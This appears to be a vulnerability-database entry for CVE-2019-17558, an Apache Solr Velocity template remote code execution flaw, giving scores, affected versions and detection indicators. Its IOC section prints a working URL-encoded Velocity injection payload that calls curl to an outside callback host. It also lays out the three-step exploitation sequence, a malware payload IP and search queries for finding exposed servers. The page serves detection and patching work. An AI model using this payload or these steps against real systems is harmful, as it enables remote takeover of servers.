cbcvebase.
CVE-2019-17558
published 2019-12-30

CVE-2019-17558: Apache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code Execution through the VelocityResponseWriter. A Velocity template can be provided…

PriorityP188high7.5CVSS 3.1
AVNACHPRLUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2022-05-03
Exploited in the wild
EPSS
98.57%
99.9th percentile
Apache Solr 5.0.0 to Apache Solr 8.3.1 are vulnerable to a Remote Code Execution through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/` directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled` by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user).

Affected

8 ranges
VendorProductVersion rangeFixed in
apachesolr>= 5.0.0 < 7.7.37.7.3
apachesolr>= 8.0.0 < 8.4.08.4.0
debianlucene-solr
oracleprimavera_unifier
oracleprimavera_unifier
oracleprimavera_unifier
oracleprimavera_unifier
oracleprimavera_unifier17.7 – 17.12

Detection & IOCsextracted from sources · hover to see the quote

url/solr/admin/cores?wt=json
url/solr/{{core}}/config
url/solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
port8983
path/solr/admin/cores
path/solr/admin/info/system
command#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('...'))$ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
  • Step 1 of exploit: attacker sends GET to /solr/admin/cores?wt=json to enumerate core names before exploitation
  • Step 2 of exploit: attacker POSTs JSON to /solr/<core>/config setting params.resource.loader.enabled to true and class to solr.VelocityResponseWriter — monitor for this config API call
  • Step 3 of exploit: RCE is triggered via GET request to /solr/<core>/select with wt=velocity and v.template.custom containing URL-encoded Velocity SSTI payload invoking java.lang.Runtime.exec — monitor for wt=velocity and v.template.custom parameters in Solr HTTP requests
  • Kinsing malware exploiting unpatched Apache Solr v8.1.1 drops payload to /tmp/zzz via curl from 194.87.252[.]159 — monitor for Java process spawning curl/wget to /tmp/ paths
  • Both Kinsing and z0Miner campaigns used unpatched Apache Solr as initial access vector — initial runtime commands executed under the Java process of Apache Solr; monitor for unexpected child processes spawned by java/solr
  • Default Solr port is 8983; monitor for exploit traffic (core enumeration + config POST + velocity GET) on this port
  • Shodan/FOFA queries for exposed Solr instances: search for http.title:"apache solr", http.title:"solr admin", title="solr admin"
  • ·params.resource.loader.enabled is FALSE by default; exploitation requires an attacker to first enable it via the Config API (requires configuration API access). If the Config API is not exposed or requires authentication, the attack surface is significantly reduced.
  • ·Solr 8.3.1 patch was incomplete; full remediation only arrived in Solr 8.4, which removed the params resource loader entirely and restricts configset template rendering to trusted (authenticated-upload) configsets only.
  • ·Approximately 6.5% of cloud customers have at least one VM publicly exposed to the internet running a vulnerable Apache Solr, making internet-facing instances a high-priority hardening target.

CVSS provenance

nvdv3.17.5HIGHCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.04.6MEDIUMAV:N/AC:H/Au:S/C:P/I:P/A:P
osv7.5HIGH
vulncheck7.5HIGH
cisa7.5HIGH
vendor_debian7.5LOW
vendor_oracle7.5HIGH
vendor_redhat7.5HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.